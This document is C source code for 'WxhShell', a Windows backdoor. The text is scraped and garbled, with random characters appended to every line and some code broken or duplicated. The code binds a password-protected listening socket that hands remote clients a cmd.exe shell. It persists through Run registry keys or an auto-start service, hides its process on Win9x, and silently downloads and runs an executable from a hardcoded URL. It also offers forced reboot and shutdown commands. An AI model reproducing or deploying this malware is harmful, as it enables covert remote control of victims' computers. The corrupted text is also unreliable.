  // 关机 yh5KN_W  
  case 'd': { Y@.> eS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #%e`OA(b  
    if(Boot(SHUTDOWN)) a~ REFy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $^7 &bQ  
    else { cQPH le2  
    closesocket(wsh); T6H"ER$  
    ExitThread(0); iA ZtV'VQ)  
    } vS<;:3  
    break; VH*j3  
    } TF^]^XS'  
  // 获取shell }qz58]fyx  
  case 's': { ;T52 aX  
    CmdShell(wsh); @V:b Co  
    closesocket(wsh); of& vQ  
    ExitThread(0); nTu"  
    break; oS_p/$F,  
  } <R{\pz2w  
  // 退出 .yWdlq##  
  case 'x': { Fr%KO)s2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); udc9$uO  
    CloseIt(wsh); `%ymg8^  
    break; 0/KNXz  
    } &U 'Ds!  
  // 离开 g1J]z<&  
  case 'q': { f\(Kou$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jv0e&rt  
    closesocket(wsh); >8NQ8i=]V1  
    WSACleanup(); Eun%uah6c  
    exit(1); r9vC&pWZ  
    break; |E7]69=P  
        } ~`N|sI,  
  } G8oQSo;D  
  } \+Cp<Hv+  
gieX`}  
  // 提示信息 U |4% ydG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *gT TI;:  
} n(o Jb  
  } 3 oWCQ  
7SqsVq`[~  
  return; +vbNZqwz  
} 4t8 Hy  
/|DQ_<*  
// shell模块句柄 <g%xo"  
int CmdShell(SOCKET sock) ;%82Z4  
{ d#z67Nl6  
STARTUPINFO si; "{0kg'fU  
ZeroMemory(&si,sizeof(si)); vRY4N{v(<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; , zw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0^[$0]Mt[  
PROCESS_INFORMATION ProcessInfo; fg1 zT~  
char cmdline[]="cmd"; =q"3a9 pb7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RZ.5:v6  
  return 0; )US) -\^  
} nEn2!)$  
c&_3"2:  
// 自身启动模式 gh 0\9;h  
int StartFromService(void) /V*eAn8>  
{ XnG!T$  
typedef struct V?rI,'F>N  
{ ]JM9 ^F  
  DWORD ExitStatus; HxM-VK '  
  DWORD PebBaseAddress; !{3pp  
  DWORD AffinityMask; I%s/h4x^B[  
  DWORD BasePriority; ?D~uR2+Z  
  ULONG UniqueProcessId; PHOW,8)dZh  
  ULONG InheritedFromUniqueProcessId; WMC6 dD_6e  
}   PROCESS_BASIC_INFORMATION; A P\E  
@)0g Xg  
PROCNTQSIP NtQueryInformationProcess; IWQ8e$N  
DuFlN1Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JL$RBr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HYY|) Wo  
(C:rH  
  HANDLE             hProcess; [lJ[kr*7  
  PROCESS_BASIC_INFORMATION pbi; z DK+8  
bIhL!Ty T.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GS^4t mc  
  if(NULL == hInst ) return 0; l-npz)EM  
}Ag2c; aaq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lwB!ti  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s-DtkO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /za,&7sf  
]Lh\[@#1f  
  if (!NtQueryInformationProcess) return 0; WgL! @g  
NdZ: 7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); { p/m+m  
  if(!hProcess) return 0; \E30.>%,  
{!4%Z9G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Yk5kC 0B  
lV 1|\~?4  
  CloseHandle(hProcess); MWuVV=rd8a  
"N;|~S)w!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S,v`rmI  
if(hProcess==NULL) return 0; - t+Mh.  
'F~u \m=E  
HMODULE hMod; 7 D^A:f  
char procName[255]; M1i|qjb:l  
unsigned long cbNeeded; Psv!`K  
x{- caOH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +1y#=iM{  
{xr]xcM'b  
  CloseHandle(hProcess); Il642#Gh  
(1o^Dn3  
if(strstr(procName,"services")) return 1; // 以服务启动 <vrx8Q*6  
~DD/\V  
  return 0; // 注册表启动 ,yF)7fN  
} ~:@H6Ke[  
4j*}|@x  
// 主模块 VuY.})+J:  
int StartWxhshell(LPSTR lpCmdLine) kmS8>O  
{ )eFK@goGeb  
  SOCKET wsl; eOb`uyi  
BOOL val=TRUE; s6$3[9Vh&9  
  int port=0; Y:a(y*y<  
  struct sockaddr_in door; ^#4s/mdVO  
x0d+cSw  
  if(wscfg.ws_autoins) Install(); 'tbb"MEi4  
76m[o  
port=atoi(lpCmdLine); YJy*OS_&  
![ QQF|  
if(port<=0) port=wscfg.ws_port; =bDG|:+  
"OPUGwf  
  WSADATA data; =~h54/#[I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s*IfXv  
6~}H3rvO}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EDo (  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |h7v}Y  
  door.sin_family = AF_INET; H07j&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |}`5< a!6U  
  door.sin_port = htons(port); >W;i2%T  
I%p#E#[G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qj1z>,\  
closesocket(wsl); X=3@M_Jzo  
return 1; #^ 9;<@M  
} cC4T3]4l'  
Zx_m?C_2_  
  if(listen(wsl,2) == INVALID_SOCKET) { coWBKWF  
closesocket(wsl); ff#-USK^R  
return 1; cabN<a l  
} Trrh`@R  
  Wxhshell(wsl); gy{a+Wbc*  
  WSACleanup(); <}%ir,8  
B /W$RcV  
return 0; E ( @;p%:  
F MVmH!E  
} oo!g?X[[  
9)">()8  
// 以NT服务方式启动 6fkr!&Dy7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Cu:Zn%  
{ U]|q4!WE  
DWORD   status = 0; IfcFlXmt2  
  DWORD   specificError = 0xfffffff; ,<1*  
6"7qZq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z'lNO| nU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ro<kp8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Bu1z$#AC  
  serviceStatus.dwWin32ExitCode     = 0; #lF<="y%X  
  serviceStatus.dwServiceSpecificExitCode = 0; K(gj6SrjV  
  serviceStatus.dwCheckPoint       = 0; i.sq^]j  
  serviceStatus.dwWaitHint       = 0; guv@t&;t0  
0R& U18)y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z=0W@_s  
  if (hServiceStatusHandle==0) return; =FmU]DV  
x/=j$oA  
status = GetLastError(); j;)6uia*A  
  if (status!=NO_ERROR) K_QCYS.  
{ [Ni4[\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y9;Mey*oW  
    serviceStatus.dwCheckPoint       = 0; ?_aR-[XRg  
    serviceStatus.dwWaitHint       = 0; spJ(1F{|V  
    serviceStatus.dwWin32ExitCode     = status; 4*x!B![]y  
    serviceStatus.dwServiceSpecificExitCode = specificError; PAHlj,n)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Mg8{  
    return; F :S,{&jB  
  } W[Bu&?h$  
7g)3\C   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iIE(zw)H  
  serviceStatus.dwCheckPoint       = 0; CeTr%j  
  serviceStatus.dwWaitHint       = 0; G+uiZ (p>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (fa?f tK  
} s3{s.55{m  
&._!)al  
// 处理NT服务事件,比如:启动、停止 a[n$qPm}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !dY:S';~  
{ bZ.N7X PH  
switch(fdwControl) +ZKhmb!  
{ iwQ-(GjM[A  
case SERVICE_CONTROL_STOP: n#Roz5/U  
  serviceStatus.dwWin32ExitCode = 0; (:QQ7xc{}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n*Vd<m;w  
  serviceStatus.dwCheckPoint   = 0; +5[oY,^cO  
  serviceStatus.dwWaitHint     = 0; -kbm$~P  
  { }4SSo)Uv/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y/H^*1  
  } xXZKj  
  return; m>ycN  
case SERVICE_CONTROL_PAUSE: s&hA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S |>$0P4W(  
  break;  7E`(8i  
case SERVICE_CONTROL_CONTINUE: 5L}>+js2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5lnSa+_/f  
  break; ulf/C%t,R  
case SERVICE_CONTROL_INTERROGATE: ).C!  
  break; Wk\@n+Q {]  
}; ^Pd3 7&B4V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T[-c|  
} ]M;6o@hq  
q 9S z7_K  
// 标准应用程序主函数 -Zg @D(pF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Reu{   
{ *Ca)RgM  
JA(fam~{  
// 获取操作系统版本 RX5.bVp eE  
OsIsNt=GetOsVer(); kLt9; <L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;#s}b1  
liqR#<  
  // 从命令行安装 k0_$M{@Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); qQOD  
_1<'"u#6w  
  // 下载执行文件 ,|X+/|gm  
if(wscfg.ws_downexe) { 3g [j%`k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p*`SGX  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^Opy6Bqb  
} neh;`7~5@K  
H:-A; f!Z  
if(!OsIsNt) { x$GsDV  
// 如果时win9x,隐藏进程并且设置为注册表启动 xDJ+BQ<1A  
HideProc(); EB5_;  
StartWxhshell(lpCmdLine); Hpi%9SAM  
} `n`"g<K)Q  
else 'd #\7J>d  
  if(StartFromService()) _/}Hqh  
  // 以服务方式启动 & 8' (  
  StartServiceCtrlDispatcher(DispatchTable); 1@^Ek8C  
else 7B]:3M6d  
  // 普通方式启动 1N9< d,  
  StartWxhshell(lpCmdLine); u:$x6/t  
j- YJ."  
return 0; a4( ?]ND~6  
} rS )b1nPA  
F`0c?)  
ge):<k_  
=+`j?1  
=========================================== #)0Tt>d6  
y168K[p  
o}MzqKfu  
dA1 C)gLi  
tB7K&ssi  
%gu$_S  
" *)bd1B#  
l]Ui@X  
#include <stdio.h> *el(+ib%  
#include <string.h> vZE|Z[M+<  
#include <windows.h> v0`qMBr1y  
#include <winsock2.h> +z|UpI  
#include <winsvc.h> 3X$Q,  
#include <urlmon.h> *:9 >W$0u  
/e|[SITe  
#pragma comment (lib, "Ws2_32.lib") 6!+X.+  
#pragma comment (lib, "urlmon.lib") /z1p/RiX  
y98JiNq  
#define MAX_USER   100 // 最大客户端连接数 3zB|!p C6s  
#define BUF_SOCK   200 // sock buffer q*[!>\ Z8  
#define KEY_BUFF   255 // 输入 buffer f4'El2>-86  
r+{d!CHq}  
#define REBOOT     0   // 重启 aGB0-;.t7  
#define SHUTDOWN   1   // 关机 & =73D1A  
3cOY0Z#T  
#define DEF_PORT   5000 // 监听端口 5 [ ,+\  
[J)/Et  
#define REG_LEN     16   // 注册表键长度 eQU-&-wt0  
#define SVC_LEN     80   // NT服务名长度 @sw9A93A  
*$i;o3  
// 从dll定义API #%? FM>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j-J(C[[9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); . [T'yc:=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L#`2.nU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]?0{(\  
tYs8)\{  
// wxhshell配置信息 h@*lWi2K7  
struct WSCFG { :7p9t.R<$h  
  int ws_port;         // 监听端口 :`0'GM" `  
  char ws_passstr[REG_LEN]; // 口令 59{;VY81  
  int ws_autoins;       // 安装标记, 1=yes 0=no "jL1. 9%"  
  char ws_regname[REG_LEN]; // 注册表键名 #^|| ]g/N  
  char ws_svcname[REG_LEN]; // 服务名 z,pNb%*O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H LjvKE=W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ci~f#{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9wL!D3e {Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }@Xh xZu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u`'ki7LA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .#*D!;f  
+7V=aNRlE  
}; GI4?|@%vD!  
<57g{e0I  
// default Wxhshell configuration vqq6B/r@Fu  
struct WSCFG wscfg={DEF_PORT, tY/En-&t  
    "xuhuanlingzhe", i<%m Iq1L  
    1, C<_ Urnmn  
    "Wxhshell", 60"5?=D  
    "Wxhshell", jm+ V$YBP  
            "WxhShell Service", A9 U5,mOz  
    "Wrsky Windows CmdShell Service", \B_i$<Sz  
    "Please Input Your Password: ", zhNQuK,L  
  1, ?-e7e %  
  "http://www.wrsky.com/wxhshell.exe", SOVj Eo4'3  
  "Wxhshell.exe" >Q; g0\I_  
    }; O?CdAnhQc`  
R7lYu\mA  
// 消息定义模块 WFouoXlG0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Te# ]Cn|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PPEq6}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >-!r9"8@  
char *msg_ws_ext="\n\rExit."; 6DB0ni  
char *msg_ws_end="\n\rQuit."; d$w(-tV42  
char *msg_ws_boot="\n\rReboot..."; C 8N%X2R  
char *msg_ws_poff="\n\rShutdown..."; C1b*v&1{  
char *msg_ws_down="\n\rSave to "; z. 'Fv7  
ton1oq  
char *msg_ws_err="\n\rErr!"; %NNj9Bl<VV  
char *msg_ws_ok="\n\rOK!"; DKX/W+#a  
W3)\co  
char ExeFile[MAX_PATH]; 7%e1cI  
int nUser = 0; nE_Cuc>K\  
HANDLE handles[MAX_USER]; yq?]V7~  
int OsIsNt; kd yAl,  
Tr~sieL  
SERVICE_STATUS       serviceStatus; rWA6X DM7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I?B,sl_w  
80C(H!^  
// 函数声明 c S4DN  
int Install(void); jgG$'|s}  
int Uninstall(void); 8) HBh7/  
int DownloadFile(char *sURL, SOCKET wsh); ]% K' fXj$  
int Boot(int flag); D&/I1=\(  
void HideProc(void); p!_[qs  
int GetOsVer(void); !NTH.U:g  
int Wxhshell(SOCKET wsl); 2HD:JdL  
void TalkWithClient(void *cs); q]CeD   
int CmdShell(SOCKET sock); 1w`2Dt  
int StartFromService(void); LT/mb2  
int StartWxhshell(LPSTR lpCmdLine); K*1.'9/  
Goxl3LS<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HmMO*k<6@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ! D$Ooamq  
"tUwo(K[  
// 数据结构和表定义 hUh+JW  
SERVICE_TABLE_ENTRY DispatchTable[] = eTT) P  
{ h h"h j  
{wscfg.ws_svcname, NTServiceMain}, Fk{J@Y  
{NULL, NULL} lCR!:~  
}; w9MoT.kI}  
M 7rIi\4K4  
// 自我安装 \8e2?(@"k  
int Install(void) L_~8"I_  
{ (-,>qMQs  
  char svExeFile[MAX_PATH]; DSvmVI  
  HKEY key; yI&9\fn  
  strcpy(svExeFile,ExeFile); >{wuEPA  
U6<M/>RG$  
// 如果是win9x系统,修改注册表设为自启动 Huc|6~X  
if(!OsIsNt) { )hBE11,PB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {L].T#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BgM%+b8u  
  RegCloseKey(key); -}P7$|O &  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]W/>Ldv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9gy(IRGq/  
  RegCloseKey(key); le8 #Z}p  
  return 0; 2Q@Y^t   
    } y\D=Z N@  
  } <.bRf  
} .fp&MgiQ  
else { 5pfYEofK[  
H>XFz(LWh  
// 如果是NT以上系统,安装为系统服务 y!~qbh[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Be2lMC  
if (schSCManager!=0) p $Hi[upy  
{ | &7S8Q  
  SC_HANDLE schService = CreateService H;Ku w  
  ( t0Mx!p'T  
  schSCManager, wP<07t[-g  
  wscfg.ws_svcname, z=g$Exl  
  wscfg.ws_svcdisp, pvF-Y9Xb  
  SERVICE_ALL_ACCESS, vcv CD7MD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BhkoSkr  
  SERVICE_AUTO_START, [ *>AN7W   
  SERVICE_ERROR_NORMAL, [ c~kF+8  
  svExeFile, uOd& XW  
  NULL, K\u_Ji]k  
  NULL, y t5H oy  
  NULL, -DjJ",h( $  
  NULL, mV)+qXC  
  NULL /TV= $gB`  
  ); Dvc&RG  
  if (schService!=0) e2cP *J  
  { *2e!M^K<  
  CloseServiceHandle(schService); 4CrLkr  
  CloseServiceHandle(schSCManager); p*20-!{A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !q' 4D!I  
  strcat(svExeFile,wscfg.ws_svcname); V 1/p_)A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M'L;N!1A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ++jAz<46  
  RegCloseKey(key); 4<gb36)|4  
  return 0; Mxl]"?z  
    } =r 9r~SR#  
  } +?dl`!rE  
  CloseServiceHandle(schSCManager); VUwC-)  
} ;+/o?:AH  
} Nd@~>&F  
Ef)yQ  
return 1; *F`A S>  
} "@/62b  
hgj <>H|  
// 自我卸载 'xE _Cj  
int Uninstall(void) Fmr}o(q1  
{ t:)ERT")  
  HKEY key;  Vzl^Ka'  
!.TLW  
if(!OsIsNt) { :O= \<t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { . (}1%22  
  RegDeleteValue(key,wscfg.ws_regname); }4//@J?:  
  RegCloseKey(key); g(|{')8?d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T~4N+fK  
  RegDeleteValue(key,wscfg.ws_regname); Qk1xUE  
  RegCloseKey(key); hA1-){aw3q  
  return 0; .(CP. d  
  } /i]y$^  
} ,9D+brm  
} _O"mfXl6  
else { 0#*Lw }qi  
c>"cX&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UVQ7L9%?f  
if (schSCManager!=0) cyM-)r@YQV  
{ jMNU ?m:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [7FItlF%I  
  if (schService!=0) %w7pkh,  
  { |r%D\EB  
  if(DeleteService(schService)!=0) { OEx^3z^  
  CloseServiceHandle(schService); hC <O`|lF  
  CloseServiceHandle(schSCManager); v <Kmq-b  
  return 0; TuDE@ gq(  
  } D BE4&  
  CloseServiceHandle(schService); ^Yj xeNY  
  } Bun> <Y @  
  CloseServiceHandle(schSCManager); 5L,}e<S$  
} sarq`%zrk  
} ',^+bgs5  
Uyx!E4pl(  
return 1; ~@.%m"<.  
} 3&&9_`r&_  
d;mx<i=/  
// 从指定url下载文件 A][fLlpr  
int DownloadFile(char *sURL, SOCKET wsh) ?';OD3-  
{ )Gw~XtB2  
  HRESULT hr; mtz#}qD66  
char seps[]= "/"; PjA6Ji;Hu  
char *token; -#!x|ne  
char *file; /,=@8k!t?  
char myURL[MAX_PATH]; { FZ=olZ  
char myFILE[MAX_PATH]; 3psU?8(  
Z_1U9 +,  
strcpy(myURL,sURL); 3"n\8#X{  
  token=strtok(myURL,seps); ,L bBpi=TJ  
  while(token!=NULL) +l3=3  
  { kHw_ S-  
    file=token; Bw%Qbs0Q  
  token=strtok(NULL,seps); n_ lo`  
  } QTX8 L  
w@JKl5  
GetCurrentDirectory(MAX_PATH,myFILE); 8{`?= &%6  
strcat(myFILE, "\\"); 1$qh`<\  
strcat(myFILE, file); ,1OyN]f3  
  send(wsh,myFILE,strlen(myFILE),0); c:Wze*vI ;  
send(wsh,"...",3,0); om?-WJI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |sRipWh  
  if(hr==S_OK) Mi'8 ~J  
return 0; 26T"XW'_  
else ] e. JNo  
return 1; ^uv<6  
mKo C.J  
} [ i#zP  
>SPh2[f  
// 系统电源模块 oF(Lji?m  
int Boot(int flag) ;qHOOT  
{ `W/sP\3  
  HANDLE hToken; #Zrlp.M4  
  TOKEN_PRIVILEGES tkp; =] *.ZH#h  
mU}F!J#6  
  if(OsIsNt) { 4jD2FFG- G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J{^RkGF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E4 m`  
    tkp.PrivilegeCount = 1; ,|&9M^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ( =~&+z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xd^\@  
if(flag==REBOOT) { .{y uo{u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]?*I9  
  return 0; B,,D7cQC  
} qOIW(D  
else { q.,JVGMS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 23 ~ Sjr  
  return 0; Xy5e5K  
} 8Q_SRwN  
  } >jD[X5Y  
  else { 4Y[1aQ(%  
if(flag==REBOOT) { (}}S9 K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W`c'=c  
  return 0; M Y|w  
} yX~v-N!X  
else { s%<eD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M(/r%-D  
  return 0; 7jdb)l\p=  
} As>_J=8} 3  
} ?lP':'P  
E*+{t~  
return 1; XQw>EZdj_N  
} L|p Z$HB  
Ol!ntNhXm  
// win9x进程隐藏模块 _%QhOY5tv"  
void HideProc(void) ;Iq/l%vX  
{ l+V>]?j  
~6p[El#tS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J H7<  
  if ( hKernel != NULL ) &RfC"lc  
  { ocs+d\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1dK*y'rx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -Z's@'*  
    FreeLibrary(hKernel); VNY%R,6  
  } aA,!<^&}  
S\;V4@<Kn  
return; E~6c-Lw  
} vh$%9ed  
%f]:I  
// 获取操作系统版本 R rda# h^  
int GetOsVer(void) r(P(Rj2~  
{ <~WsD)=$  
  OSVERSIONINFO winfo; H- $)3"K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x9JD\vZ  
  GetVersionEx(&winfo); >D4# y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d QqK^#  
  return 1; jbAx;Xt'=M  
  else OynXkH]0T+  
  return 0; <[-nF"Q  
} pS:4CNI{  
o,)?!{k}  
// 客户端句柄模块 <*qnY7c&N;  
int Wxhshell(SOCKET wsl) #?S^kM-0  
{ c I4K+  
  SOCKET wsh; w 47tgPPk  
  struct sockaddr_in client; n^g|Ja  
  DWORD myID; ynQ: > tw  
P09;ng67  
  while(nUser<MAX_USER) Hg=";,J  
{ ZusEfh?  
  int nSize=sizeof(client); P(f0R8BE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "/wyZ  
  if(wsh==INVALID_SOCKET) return 1; Y/*mUS[oa  
Ys\Wj%6A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s6@DGSJ  
if(handles[nUser]==0) ATK_DE Au  
  closesocket(wsh); 6}FP  
else Jt}Bpg!J  
  nUser++; >7QvK3S4%  
  } V)[@98T_4?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6 |PrX L&  
eLfk\kk]Pc  
  return 0; XMxSQ B1  
} H<PtAYFS  
NeE t  
// 关闭 socket N(Fp0  
void CloseIt(SOCKET wsh) UdpF@Q  
{ ,Vt/(x-  
closesocket(wsh); A\HxDIU  
nUser--; ?B2] -+Y  
ExitThread(0); Gz,i~XX  
} {?:X8&Sf  
Hl{S]]z  
// 客户端请求句柄 iT2B'QI=<  
void TalkWithClient(void *cs)  J4f i'  
{ ,[P{HrHx  
hpO`]  
  SOCKET wsh=(SOCKET)cs; %H]ptH5  
  char pwd[SVC_LEN]; ur:3W6ZKl  
  char cmd[KEY_BUFF]; 5\]Sv]s)R  
char chr[1]; xdp`<POn%  
int i,j; R#%(5-Zu#R  
6\g cFfo  
  while (nUser < MAX_USER) { YQj2  
@$[?z9ck"  
if(wscfg.ws_passstr) { &m-PC(W+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E87Ww,z8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tMf}   
  //ZeroMemory(pwd,KEY_BUFF); 3=aQG'B  
      i=0; Mygf T[_  
  while(i<SVC_LEN) { PHZ0P7  
=T HpdtL  
  // 设置超时 fSK]|"c  
  fd_set FdRead; ,(EO'T[  
  struct timeval TimeOut; r]:(Vk]|F  
  FD_ZERO(&FdRead); {zQ8)$CQ  
  FD_SET(wsh,&FdRead); ChGYTn`X   
  TimeOut.tv_sec=8; au: fw  
  TimeOut.tv_usec=0; /_I]H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UQ?XqgUM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ya3C#=  
(k5We!4[1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0i!uUF  
  pwd=chr[0]; D1zBsi94D  
  if(chr[0]==0xd || chr[0]==0xa) { PQ5QA61  
  pwd=0; }dgfqq  
  break; 4T|b Cs?e  
  } kmP]SO?tx  
  i++; >=:&D)m"  
    } ILEz;D{]   
VVac:  
  // 如果是非法用户,关闭 socket d3 ZdB4L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1w@(5 ^V  
} TN+iA~kQ  
42G)~lun-d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :XZU&Sr"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tn(JC%?^  
,)Me  
while(1) { MQ 5R O;RY  
T@2#6Tffo  
  ZeroMemory(cmd,KEY_BUFF); #`CA8!j!!  
Z}mLLf E  
      // 自动支持客户端 telnet标准   #U! _U+K  
  j=0; a, k'Vk{  
  while(j<KEY_BUFF) { oHd FMD@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !t$'AoVBq  
  cmd[j]=chr[0]; r`W)0oxD  
  if(chr[0]==0xa || chr[0]==0xd) { EofymAi%  
  cmd[j]=0; >,gg5<F-E  
  break; x@P y>f2  
  } $PTP/^  
  j++; m0ER@BXRn  
    } {o_X`rgrL  
_=_Px@<Q  
  // 下载文件 HHDl8lo  
  if(strstr(cmd,"http://")) { DFZkh^PFd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I`-8Air5f  
  if(DownloadFile(cmd,wsh)) 5na~@-9p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uc7mOa}4  
  else S?1AFI9{   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xST8|H  
  } s.bc>E0  
